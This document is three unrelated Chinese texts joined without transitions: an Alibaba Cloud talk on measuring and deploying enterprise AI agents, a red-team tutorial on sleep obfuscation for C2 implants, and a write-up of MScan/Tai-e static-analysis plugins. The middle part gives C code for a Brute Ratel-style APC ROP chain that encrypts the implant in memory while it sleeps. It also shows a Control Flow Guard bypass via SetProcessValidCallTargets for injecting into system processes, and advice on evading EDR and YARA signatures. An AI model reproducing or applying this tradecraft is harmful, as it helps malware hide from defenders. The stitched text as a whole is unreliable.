这种方式原先主要是由外包承接,但受制于外包员工管理难度大、成本构成多、招聘周期长、稳定性低、用工风险高、能力上限低(薪资因素)等诸多原因,多方面都受到约束,无法大面积展开。当我们有了数字员工之后,自然解锁了这些约束, 这件事就变得更加切实可行。 

Define |AI 的产品度量与运营度量

准确率是 AI 产品核心

过了 Identify 这一步,下面就是 Define

这个时代和以前做产品有很大不同。我们前面提到的一些产品大多都类似,比如都有交互、体验。在这个流程里,其实和上一轮移动互联网的产品没有区别。但 AI 产品有一个特别关键的点,就是“准确率”。 当然,除了准确率之外,还有响应时效性和安全合规等非功能性指标,比如在电销过程中,和客户实时对话,延迟必须非常低,不然客户会觉得交流效率不高,像机器人说话一样。

因此,实时性和准确性非常关键。如果准确性不够好,客户根本无法使用,也根本不可能真正上岗。所以,准确率是 AI 项目的第一核心指标,整个项目组都必须盯住它,这也是产品定义中最核心的部分,必须重新去 Redefine

运营与产品指标「协同度量」,才不掉坑

此外,运营指标同样至关重要。如果只有产品指标和准确率指标,那大概率会掉到“坑里”。即使是在对内的业务项目里,原来移动互联网那些基本功也不能丢,比如:

  • DAU(每日活跃用户数);

  • 用户提问数;

  • 渗透率,即目标客户的覆盖率;

  • 留存率(最关键)。

如果同一个客户今天用了,下周还愿意继续用,说明这个 AI 智能体真正帮他解决了问题。如果客户只用了一次就不再回来,那么无论前面的产品指标再漂亮,都没有意义,那可能就是定义错了问题。运营指标就是用来兜底的,如果不紧盯这些指标,很容易让产品、工程和算法团队陷入“自嗨”。什么叫自嗨?就是他们说“我的指标很好”,结果客户根本不用。

举个例子,在阿里云官网的 AI 助理中,我们就设定了这样的度量方式。

如下图所示,左图展示了准确度的度量指标,时间线大约覆盖从去年到今年的一年时间。蓝色区域代表表现良好的部分(精准解决了客户的咨询问题和任务),黄色区域为中等水平(虽解决了任务,但伴有大量无关信息),红色区域则是表现差劲的部分(回答与客户问题完全不相关)。中间图展示了 DAU 和客户问题数,右图则是留存率。

目前,我们的留存率实际上已经达到了一个相当高的水平(PPT 中并未刷新数字)。从图中可以清晰看到,随着准确度的持续提升,DAU 和留存率也在稳步上升。但是反之,如果 DAU 和留存率始终停滞不前甚至下滑,即使你的工程和算法团队声称准确率很高,那无疑是自欺欺人的。

实际上,很多工程算法团队成员,可能并未意识到上述这一点。之所以能明确指出,是因为在左图的准确度指标上,我也曾经被多次误导,但这也并非团队有意为之。在如今的信息环境中,随便搜索公众号就能发现大量类似“用这一招,你的准确率能提升到 95%”的文章,但这些文章往往存在误导性,它背后都有一个前提条件,即在某个狭窄的小场景下,准确率能够达到 95%,然而在面对海量问题时,这一指标却难以提升(这一点稍后会详细分享)。

Execute |推进数据建设与工程落地

掌握「产品研发工程金字塔」

定义好了产品和运营指标(Define),往下走才是执行(Exectute)阶段。

Exectute 阶段的关键在于:一定要用产品和业务目标来拉动。因为在牵引拉动的过程中,才能充分动员领域知识专家的参与和评测。 

如果没有知识专家的深度参与和强大的评测能力,大模型的应用上限是很难提升的,这是第一点。第二,如果项目目标缺乏价值,或者没有真正的痛点,那么会发现得不到资源的“祝福”。也就是说,一方面难以获得其他团队的配合,另一方面自身团队的价值感也难以维持,这将直接影响项目的推进。

在整个执行逻辑中,金字塔最下面是工程的数据与评测,我把这个放成最大的一块底座,因为这是基石——业务数据、业务 API 以及评测能力是大模型应用的基础,对这一部分的投入必须充足。

在这一基础上,才是工程应用算法、预训练(Pre-training)、RAG 以及微调等等,这些在媒体报道里面出现的技术热词,并非不重要,但这些只是 “必要条件”。我观察到,大多数产研团队在这部分(工程 - 应用与算法)投入了 80% 至 90% 的时间。

但想强调的是:这些只是必要条件,仅靠这些无法解决企业 E2E 落地的问题。哪怕你在必要条件上投入再多,再加 10 倍的努力,也无法实现真正的 E2E 落地。因此,必须设法补齐真正实现 E2E 落地所需的充分条件。 如果无法做到这一点,项目成功的希望将十分渺茫。

常见的 LLM AI 应用范式:翻译、Agent

在与业务团队沟通以及处理各种复杂问题的过程中,我们总结出了几种常见的模式: 首先是基础设施层面,涉及知识和数据的构建;中间是编排和调度,无论是大家熟悉的工作流编排,还是智能体自主规划编排,或是两者的结合;最上面是对客的产品与运营。

这里,重点讲述图中深蓝色部分的两种模式:第一个是翻译模式,第二个是 Agent 模式,我认为主要分为这两种典型的应用模式。其中,翻译模式最容易取得成效,因为它相对简单;而智能体模式则较为复杂。

翻译模式:关键在“蛋糕坯”

先谈谈翻译模式。 在公司内部,我们将所有翻译类模式统称为 AI 领域的“低垂果实”,这类模式相对容易实现。

这一轮的大型语言模型背后的算法是 Transformer。Transformer 最早是 Google 为了翻译任务而开发,在不停做翻译的过程中衍生出了 Transformer 算法。随后,预训练模型如 BERT 也大量应用于翻译领域。所以,大模型的原理 Transformer 特别擅长做翻译。

翻译又可以分为狭义翻译广义翻译

狭义翻译指的是中译英、英译中等语言之间的转换。而广义翻译则涵盖更广泛的形式,比如:自然语音转成文本,再转成语音;自然语言转成 SQL 语言;自然语言转成 Java 语言;甚至让一篇论文用自然语言“翻译”成中学生能听懂的表述,这些都属于广义翻译范畴。无论是狭义翻译还是广义翻译,Transformer 都特别擅长,因此这是最容易出结果的地方。

这里有一个坑: 虽然(图中)左边的翻译能力已经具备,但如果右边原有的系统还没准备好(not ready),就会出现问题。

以 Chat BI 来说,为什么 Chat BI 在企业里没什么成功的案例呢?其实很大一部分原因在于,Chat BI 的逻辑无外乎就是:用自然语言翻译成 SQL,然后在后台的数据库或大数据系统里执行,再把执行结果取出来,再翻译成自然语言返回给人。

Chat BI 的实质,就是自然语言 → SQL → 执行结果 → 自然语言,这本质上还是一种翻译。

但我们会发现一个很有意思的问题:很多企业说要上 Chat BI,但如果原本数据库和里面的业务逻辑、数据口径积累不足,甚至连人都写不出对应的 SQL 来,那自然语言也一样翻译不出来。因为后台本身没有可执行的基础。

所以我认为,企业里绝大部分在 Chat BI 上踩的坑,都来自于一开始就想做一个过于“宽”的东西。但是做了这个翻译之后,如果原来的系统 API 没准备好,数据没准备好,甚至连原来的人都无法执行这些操作,那自然语言翻译也没法落地。这就是最大的误区。

因此我们在内部的逻辑是:要先 Identify 原系统具备哪些能力。比如,如果你原来的 ODPS、数据库和数据中台本身已经有 BI 和运营,能够在某个领域里不断取数、用 SQL 分析数据,而且业务场景也很丰富,那么,那些高频的 SQL 语句才是真正值得作为翻译目标的部分,而不是盲目地去做一个 Chat BI。

所以很关键的是要分成两个部分 :一部分是翻译,一部分是原来系统的语言处理能力。我习惯这么来形容:原来的系统就是“蛋糕坯”,大模型翻译就是上面的“樱桃”。如果你现有的蛋糕坯是 ready 的,我放一个樱桃上去,你就可以吃樱桃蛋糕了。但是如果原来的蛋糕坯都没有,你让我做一个樱桃蛋糕,是做不出来的。

这里非常重要的一点是:要能够识别出原来的蛋糕坯是不是 ready ,然后在上面放上你的樱桃,而不是直接拿一个樱桃就装作是樱桃蛋糕。这个地方往往就是个误区。

翻译模式是“低垂的果实”,容易做,但里面其实有非常多的坑。

Agent 模式:关键在意图与知识空间

再说 Agent 应用模式

大家可以注意这样一句话:所有的 Agent 应用模式都是始于用户意图,终于意图满足

如果你不是从用户意图出发,最后又不是以是否满足客户意图来作为度量标准,去看待你的智能体,那一定会失败,没有任何成功的可能性。

这是我发现团队,甚至整个业界,最容易出现的问题。因此我们引出了一个方法,这是我在内部做智能体时,一定要去践行的方法。

第一件事情,要找到这个领域的“意图空间”。 当一个客户在智能体里和你交互时,他一定是带着意图的。那么这些意图都有哪些?比如客服场景里,客户会提出各种咨询问题,这些问题本质上就是一个空间、集合。所以,第一步就是要搞清楚这个集合的 边界和完整性。如果你不知道它的完整性,就无法去度量。只有在建立了完整的意图空间之后,才能继续往下做。

于是,第一件事要建立意图空间。然后,当清楚地知道了意图空间,就要基于这个意图空间来准备 知识工程。也就是说,你的知识、文档是否完备?API 和结构化数据是否具备?能否真正满足客户的这些意图?我认为这是最基础的必要条件。

再者,有了知识、意图空间,接下来才能带着意图去做评测。 因为既知道用户的意图,也掌握了知识,这样才能真正开展工作。如果意图不清楚、知识不具备,其实就是“空转”。

我们的经验是:在客服场景里构建意图空间,从原来就在满足意图的领域出发,从 工单 里去分析和构建意图空间。有了意图空间之后,就可以对意图进行分类。分类完成后,再根据不同类别去检查和补全知识,做好知识工程。

这样,当 意图空间 和 知识空间 都建立好了,才有可能开展评测,也才知道如何去度量你的 Agent。只有具备了度量能力,才有可能进一步做工程和算法迭代,这个是原理决定的。这也是我们在内部做智能体的一个必修课。

这里,简单总结一下两个模式: 翻译模式是樱桃,一定要先找到原来的蛋糕坯在哪里,再把樱桃放上去。如果蛋糕坯不 ready,只放个樱桃一定会失败。而 Agent 模式的关键则是:始于用户意图,终于意图满足。 这是一系列完整的逻辑方法。

Agent 落地要点:意图空间、品味 &评测

接下来,我们就展开讲这个稍微复杂一些的 Agent 模式,看看在业务体系里实现 E2E 落地的一些关键要点。

第一,意图空间的投入进行 ROI 评估。做一个 Agent,它的 ROI 高不高?这取决于意图空间的大小。如果工程所需的知识量庞大,意图也非常多、非常宽,那么所需要的投资就会非常大。意图空间越大,为满足这些意图所需要的知识、工程和迭代的投入也就越大。

所以有一个非常清晰的结论:第一件事情,就是要控制意图空间的规模。如果不控制规模,会导致失败,因为后续的投入很难支撑。这里要记住一句话:如何去控制一个智能体的意图空间?如果没有控制好,或者不清晰,那么 ROI 根本算不出来。而一个算不出 ROI 的项目,成功的可能性将大打折扣。

第二, 我们经常讲,最近大家肯定也听说过,在 AI 领域里经常提到一个词叫“品味”AI 时代里,品味非常重要。 那么品味来源于哪里?我自己猜测,要追溯到 1995 年乔布斯(Jobs)的一次采访。当时记者说:听说你比较粗暴、独裁,你怎么知道你的决定就是对的?乔布斯想了大约 10 秒,回答道:“归根结底,最后是品味决定的。”

品味和这一轮 AI 的关键问题——评测——高度相关。

这一轮和上一轮 AI 革命最大的区别在哪里? 

上一轮深度学习主要是计算机视觉。那时候的数据评测怎么做?一张图给猫、狗、交通灯、汽车、人等等打圈,数据打标就是这么来的。所以评测时,只需要看分类对不对(猫有没有被错分成狗?对了就好)。ImageNet 就是这样做的,李飞飞当年找了很多外包团队来做标注,这种标注工作很适合外包,找普通人就能做。原因很简单,猫狗识别不难,就算是一些专家领域,比如故障识别、次品检测,标注也相对容易。

但这一轮情况完全不同。

大模型的输入是小作文,输出也是小作文。在专业领域尤其如此,很难直接度量。这就是为什么要强调品味——因为没有标准答案。我们都是经历过高考的。高考作文有没有标准答案?没有。开放题,比如写一篇中心思想总结,有没有标准答案?也没有。

大模型的评测正是如此。所以,这一轮大模型最关键的区别在于:度量数据、评测没有标准答案。既然这是没有标准答案的,意味着成本最高,也就成为落地的瓶颈。 如何解决这个瓶颈?只能重投入

Agent 落地要点:如何做好「评测」 

当然,这里讲的“品味”,就是如何做评测的问题。 

我们怎么去评测?评测是一件非常重的事情,这包括业务效果的评测能力,也包括评测本身的工程化。

具体来说,在人工评测中,我们如何去解决分类的标准问题?什么是“好”,什么是“中”,什么是“差”?如何能够确保,评测对真实业务意图的覆盖度是足够的?如果覆盖度足够好,标准也足够清晰,我们又如何通过工程化的方式,对系统的迭代和变动进行自动化评测?

由于人工评测和度量,很多时候就像写一篇小作文,它是非标的,是没有标准答案的东西。相反,为什么现在编程发展很快?因为数学和编程都有标准答案,可以被编辑器校验,但是纯文本是没有标准答案的。

所以,评测这项工作非常耗时,也很容易成为整个项目的瓶颈,是需要极大加强的。如果不去加强,那么整个项目的基石就可能动摇。

在评测的过程中有一个非常重要的点,叫 E2E 归因。因为在智能体的过程中会有非常多的环节,在这么多工作流和智能体的编排逻辑中,如果一个意图没有被满足,我们必须要有能力确定这个 Bad case 的问题到底出在哪个环节。当每一个 Badcase 都应该归因到工程里的具体环节,才能对具体的原因进行聚类和改进。

如果从产品宏观功能体系来看,体系的最底层,必须要有两样东西:第一,是业务评测;第二,是全链路的归因分析能力。我把这两项放在最底层,就是因为它们太重要了。

下图这是个大概率的经验总结,也就是说,如果具备度量能力,会发现 大部分问题都出现在数据层面,出现在非结构化、结构化数据 API。如果基本能力不具备,这就是智能体失败的主要原因。部分问题可能出现在知识预处理、意图识别、上下文检索,以及后续的意图识别总结等环节。数据极为重要,但没有评测也就谈不上数据。

引出一个经常被讨论的问题:是否需要引入模型训练?

我们的观点非常明确:必须在白盒方式下使用基模 API,注重评测和数据,并进行 E2E 归因迭代。只有当数据质量和评测能力具备时,才能引入训练。

原因很简单,如果数据和评测能力不 Ready,投入在训练上的每一分钱都是浪费。如果数据不够好,那就是“garbage in, garbage out”。这些问题,都不是训练本身能够帮助解决的。

而且,训练的周期长、成本高、迭代速度慢,如果没有能力评估训练结果的好坏,也没有足够的数据进行训练,这种投入是不明智的。因此,只有在必须使用训练,且基模无法解决问题时,我们才会引入预训练。

写在最后:AI+云的「大电梯」

最后,为大家回顾一下。

我们在阿里云内部推进 AI 转型,本质上是需要为业务提供 Result as a Service(RaaS)。我们也是当前时点为数不多的,能够真正大规模实现 E2E 落地,给业务交付结果的实践团队。 

而我们实现 Result as a Service 的方法叫 RIDE,RIDE 分别代表 Reorganize、Identify、Define 和 Execute。

需要特别注意的是,在必要条件上再努力,也解决不了充分条件的问题,所以这个 RIDE 方法论的核心是在提醒大家:只有把落地所需要的充分条件补齐,才能真正开展 AI 企业有效落地的工作。

呼应最开始讲的“电梯”,想表达的是,冰山之上,我带着团队一直在做业务的数字化转型,之所以能够实现,是因为冰山之下,有强大的阿里云作为底座。

无论是涵盖通义千问在内各种模型服务的 MaaS 百炼,还是 PAI,ODPS,数据库等 PAAS 服务、或是底层 IaaS 比如 ECS、灵骏、存储、网络服务,都是我们依赖的企业应用的有力支撑武器。而且,这些能力的成本在不断下降,功能也在持续拓展。

所以,当企业选择了一个强大的技术底座,随着技术水平的增长和成本的下降,企业的数字化转型也就能够搭上一部更好的“电梯”。我自己认为,阿里云就是这样一部“大电梯”,企业上云后,这部电梯持续为企业实现数字化转型,提供源源不断的上升动力。

0x01.前言 在上一篇文章中,分析了BRC4如何利用APC来进行睡眠混淆的。本篇文章中将通过逆向出来的代码作为参考,但可能会有差异,一步步实现APC睡眠混淆加密整个可执行程序。以及如何在C2中集成APC睡眠混淆。 0x02.实现APC睡眠混淆 通过之前的分析我们知道Badger中创建了一个线程(TpReleaseCleanupGroupMembers + 0x450),然后利用了这个线程来获取正常的CONTEXT结构。实现代码如下,实现时为了简单起见,有些地方不使用Nt*Zw*的函数,实际中为了opsec是有必要写的,但这里主要起到演示作用。

C

复制代码
LPVOID TpReleaseCleanupGroupMembers_450 = (UINT_PTR)GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpReleaseCleanupGroupMembers") + 0x450;

DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, TpReleaseCleanupGroupMembers_450, NULL, CREATE_SUSPENDED, &dwThreadId);

然后根据这个线程句柄,获取CONTEXT,并复制到所有的CONTEXT中。

C

复制代码
if (!GetThreadContext(ThreadHandle, &CtxThread)) {
printf("GetThreadContext failed With Error:%lu\n", GetLastError());
return FALSE;
}

memcpy(&RopWaitFor, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSleep, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopRtlEtTd, &CtxThread, sizeof(CONTEXT));

现在就可以构造ROP链了,在每一个CONTEXT结构的返回地址写NtTestAlert函数的地址,也就是Rsp寄存器。这样做为了确保能够执行完所有的APC队列回调。 ROP链执行的函数依次为WaitForSingleObject、VirtualProtect、SystemFunction032、WaitForSingleObjectEx、SystemFunction032、VirtualProtect、RtlExitUserThread。我们逆向badger的这个ROP链会发现还会执行ZwGetContextThread -> ZwSetContextThread -> ... -> ZwSetContextThread。之前说过了,这里就是备份一份当前线程(构造ROP链的线程)的CONTEXT结构,然后设置获取fake CONTEXT,主要是为了进行堆栈欺骗,睡眠完成后,在将备份的CONTEXT还原。

C

复制代码
RopWaitFor.Rcx = StartEventHandle;
RopWaitFor.Rdx = INFINITE;
*(PULONG64)RopWaitFor.Rsp = (ULONG64)pNtTestAlert;
RopWaitFor.Rip = WaitForSingleObject;

RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = &oldProtect;
*(PULONG64)RopProtRW.Rsp = (ULONG64)pNtTestAlert;
RopProtRW.Rip = VirtualProtect;

RopMemEnc.Rcx = &Image;
RopMemEnc.Rdx = &Key;
RopMemEnc.Rip = SystemFunction032;
*(PULONG64)RopMemEnc.Rsp = (ULONG64)pNtTestAlert;

RopSleep.Rcx = (HANDLE)-1;
RopSleep.Rdx = SleepTimes * 1000;
RopSleep.R8 = FALSE;
*(PULONG64)RopSleep.Rsp = (ULONG64)pNtTestAlert;
RopSleep.Rip = WaitForSingleObjectEx;

RopMemDec.Rcx = &Image;
RopMemDec.Rdx = &Key;
*(PULONG64)RopMemDec.Rsp = (ULONG64)pNtTestAlert;
RopMemDec.Rip = SystemFunction032;

RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = &oldProtect;
*(PULONG64)RopProtRX.Rsp = (ULONG64)pNtTestAlert;
RopProtRX.Rip = VirtualProtect;

QueueUserAPC将这些CONTEXT依次插入TpReleaseCleanupGroupMembers + 0x450入口点线程的APC队列,NtAlertResumeThread准备执行APC,NtSignalAndWaitForSingleObject信号StartEventHandle开始执行APC,并等待TpReleaseCleanupGroupMembers + 0x450入口点线程退出。

实现的代码和逆向Brc4的badger睡眠混淆代码基本一致,效果如下:

image-20260113103244238.png

采用固定密钥的话使用SystemFunction032每次加密的内容均相同,我们加密可以使用SystemFunction040,在msdn中被描述为RtlEncryptMemory。

image-20260113103757964.png

解密可以使用SystemFunction041,在msdn中被描述为RtlDecryptMemory。

image-20260113104310662.png

关键是加密的使用使用的是系统内部派生密钥,每次随机密钥加密,使用起来更加方便安全。 0x03.CFG Bypass 这样的代码注入到开启CFG的系统进程中还是会引发崩溃,需要Bypass CFG,在编译属性中开启/guard:cf

image-20260113105028177.png

重新编译后再次允许程序会崩溃,查看异常代码对应0xC0000409(STATUS_STACK_BUFFER_OVERRUN),正是由CFG引起的。在APC队列中回调函数为NtContinue,在开启CFG的情况下,它在CFG的无法间接调用的函数列表,所以会引发错误。

image-20260113105128374.png

我们需要绕过CFG,Brc4 Badger是利用的SetProcessValidCallTargets。

image-20260113114858654.png

SetProcessValidCallTargets在msdn上的定义如下。第一个参数为当前进程句柄。第二参数为目标标记为有效的虚拟内存区域的开始,调试发现传入的地址为ntdll的起始(qword_1003C7C8),这也符合Badger添加到CFG允许列表都是位于ntdll中的函数。第三个参数为虚拟内存区域的大小,需要做按页对齐操作。第四个参数表示添加到CFG允许列表个数为1。最后一个参数为相对于虚拟内存范围的偏移量和标志的列表,指向CFG_CALL_TARGET_INFO结构。此结构的第一个参数函数地址减去ntdll起始地址。第二个参数很重要,描述要对地址执行的操作的标志。 如果设置了CFG_CALL_TARGET_VALID(1),则地址将标记为对CFG有效,从而绕过CFG保护。

image-20260113145013617.png


image-20260113121049401.png

image-20260113145748993.png

整个过程很清楚了,但还需最后一步,判断当前进程是否开启CFG。一种通用的方法是根据PE OptionalHeader的DllCharacteristics来判断编译的时候是否根据CFG来编译的。

image-20260113150817207.png

判断是否开启CFG,以及添加CFG允许列表的相关代码如下,对应Kernel32中也需要实现一个相同的函数来添加VritualProtect和WaitForSingleObject、WaitForSingleObjectEx。执行SetProcessValidCallTargets出现的87错误代码我们直接跳过,这个错误表示目标地址没有受到CFG的保护。

完整的代码我放在github上了,参考 https://github.com/CDipper/SleepMaskingByAPC 查看SetProcessValidCallTargets不难发现,内部就是调用了NtSetInformationVirtualMemory,国外有老哥根据此API二次开发了Ekko(利用计时器队列进行睡眠混淆,很常用,容易被杀),参考 https://github.com/Crypt0s/Ekko_CFG_Bypass/blob/main/Ekko_CFG_Bypass/CFG.c

image-20260114103903645.png

0x04.C2中使用Sleeping Mask C2中使用Sleeping Masking就是在我们的马中每次睡眠的时候把马全部加密不就行了吗?其实并非如此,如果全部加密,对于一些持久化任务(例如keylogger等)执行就会崩溃,这是显然的。在Cobalt Strike中睡眠混淆是在arsenal-kit中实现,其当然也不是将beacon的内存全部加密,Brc4中也是如此。 Cobalt Strike 4.4中首次引入Sleeping Mask的概念。一开始只是简单对一些特征进行加密,后面随着版本的更新逐渐支持对beacon堆内存的加密,以及对更多的内存进行加密。Ekko项目出现了之后,Cobalt Strike也进行了支持,能够加密Sleep Mask的代码,也就是解决了自己不能加密自己的问题。默认的Sleep Mask相关加密代码是能够被类似Elastic等优秀yara规则检测到的,所以加密Sleep Mask的代码很有必要。

image-20241126195748278.png


后面又逐步支持堆栈欺骗,基于LLVM的代码变异技术实现动态生成Sleep Mask,BeaconGate...... 所以在写自己的马时,需要考虑到哪部分内存我能够加密的,那部分内存我不能够加密,往往加密的可能是一块敏感字符串等,以及那块加密代码。

Intro Tai-e作为一个优秀的静态分析框架,内置了指针分析、污点分析等等实现。为增强其作为一个底座框架的可扩展性,其提供了插件系统,通过插件系统可以控制在静态分析过程中的各个阶段的数据处理,更进一步的进行定制化分析的实现。如下图为Tai-e官方提供的有关于插件系统的原理图:

image.png

本文中提及的有关于微服务应用的静态分析框架MScan同样是基于Tai-e进行实现的,针对微服务应用中使用的一些特殊的API进行服务间的高速通信过程,传统的静态分析方式不能够原生支持该类服务间通信的污点流的传播,但是这里采用了上面介绍了插件系统的方式,为服务间的通信过程进行建模,定制化的支持该过程的数据流分析,例如是Grpc、Dubbo或者Feign等通信方式。 具体的分析因篇幅太长分为了上下两篇,上篇主要集中于理论层面的代码分析,剖析基于Tai-e框架的改造细节,明晰从source点提取到扩展的污点分析引擎工作原理的全流程。而下篇主要集中于实战层面的内容,在剖析微服务应用各服务间的通信建模方式,也即如何构建一个SDG(Service Dependence Graph),同时贴近实战批量拉取github\gitee高star项目进行自动化 clone-complie-scan全流程。 DistancePruning 该类的实现对应着论文中提及到的基于距离引导的上下文选择策略,但是感觉具体对其的实现还是和论文中的描述存在出入,后面具体分析其实现

options.yml中若对advance进行配置,将会使用特定的上下文选择器,这里的动态上下文选择策略的实现和核心逻辑在DistancePruning#run,核心是三个原则 1 对于一个方法,其能够调用到某一个sink点方法且能够被某一个source点方法调用到(不局限于单次调用,只要在调用图上能找到一个调用链即可),对于这样的方法,将其csMap的值设为MAX,也即是这样的方法采用最大的上下文进行分析 2 对于仅仅能够形成调用链到sink点方法,但不能够某个source点方法调用的方法,这样的方法,将其csMap的值设为固定的2,在分析时采用2-call的方法进行上下文的选择 3 而对于上述两种情况都不满足的情况,则直接将其上下文选择为MIN,采用最小的上下文 总的来说,虽然与论文中提出的基于一个方法到达最近的source-sink链的距离进行上下文的选择有所出路,但是这里的上下文选择方法也是基于一个context-insensitivity的分析结果,所以对于可能的source-to-sink调用链长度进行最大上下文的选择也一种有效的避免假阳性的方法

与此同时,注意到在Pruning类也存在有两种上下文选择的思路 1 csMapByTaintNum方法,基于一种成本控制的思路进行上下文的选择,首先通过流式处理,从指针分析结果(pta)的调用图中获取所有可到达的方法(reachableMethods),对于每个方法,计算其参数中属于“污点”(Taint)的数量。然后过滤掉污点参数数为0的方法,并将剩余方法按污点参数数从高到低排序。确保了那些更可能涉及敏感数据流的方法会被优先考虑 总的来说,上下文的大小是由一个动态的分析成本预算控制的。它优先处理污点参数多的方法,但同时严格限制方法的分析成本总和不超过上限(硬件条件)。这种设计巧妙地在分析广度(覆盖更多方法)和深度(分析复杂方法)之间取得了平衡,防止资源消耗无限增长

对于每个方法,只有当累计成本 count小于阈值(1e5)时,才会将其加入 csMap并标记为 "5",同时计数器 count5增1 如果方法非抽象,则计算其分析成本:变量数 * (调用者数量)^4,并将此成本累加到 count 一旦 count的值达到或超过 1e5,循环便会停止,后续方法不再被加入 csMap 2 csMapByTaintFlow方法,这个方法猜测是想基于通过上下文不敏感的静态分析结果得到的TaintFlow进行上下文的动态选择,但是感觉后面可能烂尾了,没有实现完

SDG (Service Dependence Graph) OpenFeignPlugin 该插件核心是用来建立通过Feign方式进行跨服务调用的调用边,用于构建SDG (Service Dependence Graph) 对于该插件同样是实现了标准的Plugin接口,其实现了onStart方法以及onNewCSMethod方法用于在程序分析前进行处理以及在遭遇新的方法时进行处理 对于onstart主要是在静态分析前对FeignClient进行处理,获取所有的feign类型的路由以及实现类,保存在mappingEdges

而对于onNewCSMethod实现了一个访问者模式,遍历遇到的所有新方法的所有Stmt,如何遇到函数调用的Stmt则会考虑其是否是一个invokeInterface类型的调用,也即是是否调用的是实现的接口的方法,这里是用来处理Feign这种方式进行跨服务通信的机制,根据feignClient类的类签名从mappingEdges获取所有的实现方法,并通过addCallEdge为这个调用过程建立一个调用边

GrpcPlugin 这个插件所起的作用和OpenFeignPlugin类似,均是用来处理微服务中的各个service间的调用关系 前者是用来处理Feign这种调用方式,这里的插件是用来处理通过Grpc这种方式进行调用的方式 对于onStart方法,其主要是用于构建invoke-callee的映射,也即是调用关系,Grpc服务端以及客户端stub的实现分别是实现了io.grpc.BindableService或者io.grpc.stub.AbstractStub 1 通过获取所有自己实现的io.grpc.BindableService类,将其有参类方法存储在serviceMethod,作为对位提供的grpc方法 2 筛选所有Grpc客户端的实现方法,通过审查所有的invoke函数调用,若被调用的函数所在类属于io.grpc.stub.AbstractStub实现,则认为其是一个客户端stub,获取这个远程调用方法的第一个参数变量,构建了一个var-invoke的映射,同时如果该方法能够在grpc服务端实现的可调用方法中找到的话,会构建一个从客户端调用点到被具体调用的方法的一个映射invoke2calleeMap

onNewCSMethod同样是在基于访问者模式构建一个跨服务调用的关系 1 对于所有跨服务调用点,在PFG (Pointer Flow Graph)上构建一个被调用方法参数传递的边,同时构建一个调用边 2 处理在微服务中采用guice这种轻量级的依赖注入组件,通过寻找其实现类的方式直接通过addPointsTo建立联系

RestTemplatePlugin 该插件用来处理使用RestTemplate进行各服务间通信的调用关系 1 最开始通过筛选exchange函数的调用点,构建var2InvokeMap用来映射exchange的传参以及调用点 2 在指针集发生变化时,通过var2InvokeMap中var所对应的指针集去获取想要请求的URI是什么,并保存在targetString

3 遍历上面收集的targetString,与GatewaySourcePlugin插件中识别到的endpoint的路由做比对,如果存在匹配成功的情况,将会构建一个从exchange函数调用点到对应路由提供者方法的一个调用边,并通过addPFGEdge将传入的参数进行跨服务传递

DubboPlugin dubbo作为一个RPC服务开发框架,同样提供一种在微服务架构中进行不同服务通信的方式,这里的DubboPlugin也即是对其进行支持,构建dubbo场景下的服务依赖图 在静态分析前基于注解进行dubbo服务端的识别

在指针分析过程中实时筛选所有的函数调用过程,如果存在调用了dubbo服务的函数,则建立此调用点到dobbo服务中定义的目标函数的调用边

KafkaPlugin 该插件用来处理在微服务框架中采用kafka进行服务间通信的方式 首先在进行静态分析之前,onStart方法中,从ApplicationClass中获取被KafkaListener注解的消费者方法,并以topic-method的映射保存在kafkaListeners中。同时从获取到生产者方法保存在kafkaSendMethods

其次是在onNewStmt事件触发时,判断是否是调用的生产者方法,若是的话,构建生产者方法的第一个参数,也就是topic和方法调用的一个映射

最后则是在指针集发生变化是触发的onNewPointsToSet事件中,判断是否topic对应的指向出现变化,遍历获取其指代的所有topic后在kafkaListeners寻找是否存在有消费该topic的消费者方法,若存在,将会通过addPFGEdge构建一个从生产者方法生产的消息内容到消费者方法消费的消息内容的指向边,以及通过addCallEdge构建一个从生产者方法到消费者方法的调用边

RabbitMQPlugin 该插件和kafka处理的对象都是消息队列的跨服务通信的依赖构建,且都是采用消息队列的方式,实现逻辑也类似 1 将消费者的监听队列以及处理时间方法映射保存在rabbitmqListeners中,以及将生产者的消息发送方法保存在rabbitmqSendMethods

2 构建消息发送函数调用同exchangeroute key的映射关系,同时构建消息处理函数调用同queue, exchange, route key的映射关系

3 类似的,最后就是根据route key以及exchange去匹配对应的消费者方法,同时构建从发送者方法所发送消息到消费者方法所消费消息的pointer edge,以及构建在消息发送点到消息处理点的call edge

Full progress 对于tai-e的整个流程大致可以分为以下的过程 1 进行静态分析前的准备工作,包括有指定appClassPath以及ClassPath 而对于这里的Mscan,包括有以下几点: 将配置文件中的Config.classpathKeywords添加到classpathKeywords 将前面Jar parser中提取到到的${targetPath}/BOOT-INF/classes中的类添加到appClassPath Jar parser提取到的${targetPath}/BOOT-INF/lib中的jar包添加到classPath

2 通过options中的配置去生成对应的plan文件

3 调用Soot对所有的类进行解析,包括有BOOT-INF/classes以及BOOT-INF/lib中的类,核心是使用了SootWorldBuilder#build方法进行处理

4 执行前面生成的analysis plan,对于pta,则使用对应的配置调用PointerAnalysis#analyze进行分析 a 首先是构建一个Heap abstraction,用来将动态时无限的对象抽象为有限,通常选用为Allocation-Site这一抽象方式 b 其次则是构建ContextSelector,优先使用advanced中的配置,若没有配置advanced,则根据makePlainSelector去正常获取上下文选择器,支持有以下context selector variant

ci: context-insensitive analysis k-obj/call/type c 在构建了heap abstraction以及context selector后调用runAnalysis进入指针分析逻辑

d 在核心的指针分析逻辑中,其主要是根据heapModel以及selector构建一个Solver对象,通过其中的solve方法进行分析 值得注意的是,tai-e设计中存在有一个扩展性极强的插件系统,详情可见https://tai-e.pascal-lab.net/docs/current/reference/en/index-single.html#analysis-plugin-system

e 对于solve方法,其实现了指针分析算法

